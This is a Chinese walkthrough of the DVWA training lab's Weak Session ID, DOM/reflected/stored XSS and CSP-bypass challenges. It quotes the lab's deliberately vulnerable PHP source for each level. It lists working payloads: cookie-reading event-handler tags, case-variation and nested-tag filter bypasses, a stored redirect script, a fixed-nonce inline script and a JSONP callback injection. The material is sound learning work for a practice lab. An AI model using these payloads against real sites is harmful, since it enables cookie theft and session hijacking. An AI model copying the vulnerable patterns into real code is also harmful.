会话ID通常是用户登录后访问网站时唯一需要的凭证。如果该会话ID可以被计算或轻易猜测,那么攻击者将无需暴力破解密码或寻找其他漏洞(如跨站脚本),就能轻松获取用户账户的访问权限。

目标

本模块通过四种不同方式设置dvwaSession的cookie值。每个级别的目标是分析ID的生成方式,并推断其他系统用户的ID。

低级

cookie值应具有明显的可预测性。

中级

该值看起来比低级更随机,但如果收集多个样本,应能发现规律。

高级

首先判断值的格式,然后尝试分析生成这些值的输入源。

cookie中还添加了额外标志,这不会影响挑战,但展示了可用于增强cookie保护的额外防护措施。

不可能级

此级别的cookie值应无法预测,但仍可自由尝试。

除了额外标志外,cookie还与挑战的域名和路径绑定。

low

每一次"generate","dvwaSession"的值都会+1,所以非常好预测,所以cookie值为简单的数字,在实际情况中,如果cookie仅有一个值且可预测,则可以访问,但由于此靶场的特殊性,难以通过此方法获取其他用户的访问权限

low.php

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

看到 $_SESSION['last_session_id']++;,说明cookie值极易预测,有递增的规律

medium

这一关发现cookie为17开头且不是很长,猜测是时间戳image-20260402195029856.png

解出来的时间正好在生成cookie的时间左右image-20260402195222469.png

因此此关生成的cookie依旧是时间戳,可以预测

medium.php

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>

代码已经很短了,没必要解析了

high

生成cookie,发现请求没有dvwaSession,而在回显之中image-20260402201335681.png

跟md5很像,拿去试着解密image-20260402201635884.png

结果为16这样的简单数字(开始也试过解出PHPSESSID,但是没有结果)

再次请求image-20260402201922799.pngimage-20260402202010001.png

所以本关的dvwaSession跟low等级差不多,只是进行了md5加密,可以预测

high.php

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

impossible

image-20260403131234854.png

这次的值有40位且由小写字母加数字组成,不是md5,而是SHA1,可惜解不出,所以明文应该很复杂

impossible.php

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

cookie值是随机数+时间戳+Impossible的sha1密文,很难找到规律

XSS(DOM)

跨站脚本攻击(基于DOM)

“Cross Site Scripting(XSS)”是一种注入式攻击,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致此类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入而未经验证或编码,就可能出现此类漏洞。

攻击者可以利用XSS向毫无戒备的用户发送恶意脚本。终端用户的浏览器无法判断该脚本是否可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本可以访问任何由浏览器保留并与该网站相关的Cookie、会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

基于DOM的XSS是一种特殊的反射型XSS,其JavaScript代码隐藏在URL中,并在页面渲染时被页面中的JavaScript提取出来,而不是在页面加载时直接嵌入。这使得它比其他攻击更隐蔽,且读取页面内容的WAF或其他防护措施无法发现任何恶意内容。

目标

在另一个用户的浏览器中运行你自己的JavaScript,利用这一点窃取已登录用户的Cookie。

低级

低级防护不会在将请求输入用于输出文本之前对其进行检查。

提示:/vulnerabilities/xss_d/?default=English<script>alert(1)</script>

中级

开发者尝试通过简单的模式匹配移除所有“<script”引用以禁用JavaScript。请找到一种无需使用script标签即可运行JavaScript的方法。

提示:你必须先跳出select块,然后添加一个带有onerror事件的图片:

/vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>

高级

开发者现在只允许白名单中的语言,你必须找到一种无需将代码发送到服务器即可运行的方法。

提示:URL的片段部分(#符号后的内容)不会被发送到服务器,因此无法被拦截。用于渲染页面的恶意JavaScript在创建页面时会从中读取内容。

/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

不可能级别

大多数浏览器默认会对URL中的内容进行编码,从而阻止任何注入的JavaScript被执行。

参考:www.owasp.org/index.php/C…

low

script标签:<script>alert(document.cookie)</script>image-20260404165305530.png

<iframe src="javascript:alert(document.cookie)">
<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>

<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>

<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>

。。。。。。

low.php

<?php

# No protections, anything goes

?>

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

medium

经过测试,除了script标签,low等级的其他payload都能使用

medium.php

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

代码检查$default中是否包含<script字符串(不区分大小写),如果检测到<script,立即重定向到?default=English并终止脚本,所以其他标签不受影响

high

本关需要 #截断url输入,使payload不传入后端(DOM型不需要传入后端)image-20260405105157950.png

image-20260405105313568.png

代码成功插入页面,medium级别也可用,截断是全局的

high.php

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

发现是白名单,但是忽略了截断

impossible

<?php

# Don't need to do anything, protection handled on the client side
# 无需任何操作,保护措施已在客户端处理
?>

这一关虽然能截断,但是对其进行了编码image-20260405111233003.png

image-20260405111307574.png

XSS(Reflected)

跨站脚本攻击(反射型)

概述

“Cross Site Scripting(XSS)”属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。这类攻击得以成功实施的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能出现此类漏洞。

攻击者可通过XSS向不知情的用户发送恶意脚本。由于终端用户的浏览器无法识别该脚本不可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取浏览器保存的cookie、会话令牌或与该网站相关的其他敏感信息。这些脚本甚至能篡改HTML页面内容。

由于这是反射型XSS,恶意代码并未存储在远程Web应用程序中,因此需要配合社会工程手段(例如通过邮件/聊天发送链接)实施攻击。

目标

通过某种方式窃取已登录用户的cookie。

低级防护

低级防护在将用户输入内容纳入输出文本前,不会对其进行任何检查。

提示:?name=<script>alert("XSS");</script>

中级防护

开发者尝试通过简单模式匹配移除所有"<script>"标签引用以禁用JavaScript。

提示:该防护对大小写敏感。

高级防护

开发者认为通过移除"<s*c*r*i*p*t"模式即可禁用所有JavaScript。

提示:HTML事件触发。

终极防护

使用PHP内置函数(如"htmlspecialchars()")可对可能改变输入行为的任何值进行转义处理。

参考链接:www.owasp.org/index.php/C…

low

此关没有任何防护,随意输入script

<script>alert(document.cookie)</script>image-20260405163214333.png

其他payload可借鉴XSS-DOM的low等级

low.php

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

设置HTTP头 X-XSS-Protection: 0- 禁用浏览器的XSS保护机制,检查是否存在GET参数 name,输入的GET参数没有任何过滤,如果存在且不为空,直接输出 Hello [name值],使用 <pre>标签包裹

medium

此关自然多了限制,但是可以尝试大小写绕过 <sCRipt>alert(document.cookie)</sCRipt>image-20260405165711882.png

其他payload也没有什么限制

medium.php

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?>

此关使用str_replace()<script>去除,但是大小写敏感,且仅过滤一次,因此下面的payload也能执行

<!-- 在<script>各个字符之间任意一处插入一个<script> -->
<scr<script>ipt>alert(document.cookie)</sc<script>ript>

image-20260405170256625.png

high

此关script标签无效,但其他payload都可使用

high.php

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?>

只针对script标签,正则过滤 <script

impossible

impossible.php

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

**htmlspecialchars()**函数把一些预定义的字符转换为HTML实体,有效防止了XSS

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

借鉴:PHP htmlspecialchars() 函数 | 菜鸟教程

XSS(stored)

跨站脚本攻击(存储型)

"Cross Site Scripting(XSS)"属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致这类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能存在风险。

攻击者可通过XSS向不知情用户发送恶意脚本。终端用户的浏览器无法识别该脚本不可信,会直接执行JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取cookies、会话令牌等敏感信息,甚至可重写HTML页面内容。

该XSS攻击载荷被永久存储在数据库中,除非重置数据库或手动删除。

攻击目标

将所有用户重定向至指定网页

低级防护

低级防护在将输入内容包含到输出文本前不做任何检查

提示:可在姓名或留言字段注入:<script>alert("XSS");</script>

中级防护

开发者已添加部分防护措施,但未对所有字段统一处理

提示:姓名字段需使用:<sCriPt>alert("XSS");</sCriPt>

高级防护

开发者误以为通过移除"<s*c*r*i*p*t"模式即可禁用所有脚本

提示:可利用HTML事件触发

绝对防护

使用PHP内置函数(如htmlspecialchars())可对可能改变输入行为的特殊字符进行转义

参考:www.owasp.org/index.php/C…

可以发现难度跟XSS(reflected)一样,目标变了

low

name字段和massage字段都可注入

想要注入payload,但是限制了输入长度,F12去除限制image-20260405214712580.png1

<script>window.location.href="http://127.0.0.1/index.html"</script>

image-20260405215352488.png

成功跳转image-20260405214848674.png

只要用户一访问XSS(stored)页面,立马跳转到特定url页面,输入的内容被保存到log文件中image-20260405215657494.png

记得点击左上角的后退,将等级改为impossible后再回到XSS(stored)页面,并将注入的代码清除

low.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

此代码仅使用 mysqli_real_escape_string()对SQL特殊字符("、'、\、NULL等)进行转义,但没有转义HTML特殊字符

medium

massage字段已经不行了,但是name字段可以,同时过滤 <script>,但只过滤一次,且大小写敏感

为了方便,使用burp的替换规则image-20260406095725484.png

payload:

<!-- 大小写绕过 -->
<Script>alert(document.cookie)</Script>
<!-- 二次绕过 -->
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
<!--其他HTML标签 -->
<img src=x onerror=alert(document.cookie)>
...

medium.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

$message = htmlspecialchars( $message );对massage字段进行了HTML特殊字符过滤,已经不能在此处进行XSS了,而name字段没有使用 htmlspecialchars()进行过滤,$name = str_replace( '<script>', '', $name );仅过滤 <script>一次,没有忽略大小写

high

使用除了script标签外的其他标签

<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>

<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>

<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>
<!-- 略 -->

high.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );针对script标签过滤,但其他标签依然可以使用

impossible

impossible.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

massage和name两个字段都使用 htmlspecialchars()进行过滤,且检验CSRF token防止并发评论

XXS区别

类型反射型存储型DOM型
持久性一次性永久(需管理员删除)一次性
传播方式恶意链接感染页面恶意链接
是否需要交互需要点击自动执行需要点击
服务器参与
检测难度中等容易困难
修复位置服务器端服务器端客户端
常见场景搜索框留言板单页应用
危害范围点击者所有访问者点击者
WAF防护有效有效困难
CSP防护有效有效部分有效

CSP Bypass

内容安全策略(CSP)绕过

内容安全策略(CSP)用于定义脚本和其他资源可以从何处加载或执行。本模块将引导您了解如何基于开发者的常见错误来绕过该策略。

这些漏洞并非CSP本身的漏洞,而是其实现方式中的漏洞。

目标

绕过内容安全策略(CSP)并在页面中执行JavaScript。

低级难度

检查策略以找到所有可用于托管外部脚本文件的来源。

本练习最初是为Pastebin设计的,后来更新为Hastebin和Toptal,但这些服务均因设置了阻止浏览器执行下载的JavaScript的标头而失效。此后,我们发现了两个新服务:UNPKG和jsDelivr,前者是NPM包的代理,后者是GitHub文件的代理。它们均设计为允许原始文件访问,且未设置任何阻止注入的标头。

此外,我在我的网站上放置了一些文件,用于演示不同标头和文件扩展名如何阻止执行。

提示:

cdn.jsdelivr.net/gh/digininj… 使用jsDelivr托管GitHub上的JavaScript文件。

unpkg.com/@digininja/… 使用UNPKG访问NPM包中的JavaScript文件。

digi.ninja/dvwa/alert.… 可执行,这是一个带有正确标头的普通JavaScript文件。

digi.ninja/dvwa/alert.… 不可执行,因为文件扩展名导致服务器设置了错误的内容类型。

digi.ninja/dvwa/cookie… 可执行,并会显示您的Cookie。

digi.ninja/dvwa/forced… 如名称所示,服务器设置了“Content-Disposition: attachment”标头,强制浏览器下载而非执行该文件。

digi.ninja/dvwa/wrong_… 不可执行,因为服务器忽略文件扩展名并强制将内容类型设置为“plain/text”,从而阻止浏览器执行。

中级难度

CSP策略尝试使用随机数(nonce)防止攻击者添加内联脚本。

提示:检查随机数并观察其变化(或不变)。

高级难度

页面通过调用source/jsonp.php发起JSONP请求,传递回调函数名。您需要修改jsonp.php脚本以更改回调函数。

提示:页面上的JavaScript会执行该页面返回的任何内容,将其更改为您的代码即可执行您的代码。

不可能难度

此难度是高级难度的升级版,其中JSONP调用的回调函数被硬编码,且CSP策略被锁定为仅允许外部脚本。

参考:

内容安全策略参考

Mozilla开发者网络 - CSP: script-src

Mozilla安全博客 - 适用于现有网络的CSP

low

刷新页面通过回显可以看到,允许加载来源白名单image-20260406111807642.png

'self' //允许加载同源网站脚本
https://pastebin.com
hastebin.com
www.toptal.com
example.com
code.jquery.com
https://ssl.google-analytics.com
unpkg.com
cdn.jsdelivr.net
digi.ninja

鉴于以上网站,出题者存放一些js文件用于测试

https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
https://digi.ninja/dvwa/alert.js

image-20260406140447920.png

low.php

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations

header($headerCSP);

# These might work if you can't create your own for some reason
# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
<p>
    You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.
</p>
';

<script src='" . $_POST['include'] . "'></script>接受用户输入的来自域名白名单的js脚本并执行,而这个页面是可以插入任意html代码的,但由于CSP,代码无法执行

'></script><img src=x onerror=alert(1)><script src='

image-20260417134936057.png

medium

image-20260406170034763.png

无论你在这里输入什么,都会直接显示在页面上,看看你能不能弹出一个警告框。

由此可以考虑输入脚本:<script>alert(1)</alert>image-20260406170333720.png

成功插入,但没有执行,那就看看CSP

image-20260406163704081.png

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

多次观察nonce值是固定的,unsafe-inline允许内联脚本执行,即当成功注入 <script>alert(document.domain);</script>时就会执行,但是"unsafe-inline"和"nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="同时存在,内联脚本需携带nonce值才能执行,好在nonce值是固定的,于是有下面的payload

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS1")</script>

image-20260406165537473.png

medium.php

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

可以看到nonce值确实是固定的,同时会将用户的输入直接贴在页面上,携带nonce值的XSS-payload会被执行

high

拦截响应的时候,没有发现CSPimage-20260406171144836.png

但是发现使用jsonp.php,调用方法为solveSum,根据响应格式,为JSONP响应格式,调用方法为js方法,可以将方法修改为alert("xss")//image-20260406204432180.png

image-20260406204536677.png

image-20260406204614783.png

high.php

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

根据CSP内容,仅允许同源网站脚本执行,但不支持内联脚本即类似 <script>alert(1)</script>这样的,因为没有过滤,可以插入html页面,但是 <script src="source/jsonp.php?callback=alert('xss');"></script>可以,因为指向地址"source/jsonp.php?callback=alert('xss');"是同源地址,可以被执行image-20260406210504684.png

high.js

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

callback=solveSum使用的solveSum方法为js方法,此时替换为alert("xss")时,可以执行,并没有过滤、限制什么的

impossible

impossible.php

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible.js

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

这次传入的参数已经固定了,不接收用户输入的值,但是修改回显依旧可以弹窗image-20260406224530844.png

image-20260406224645449.png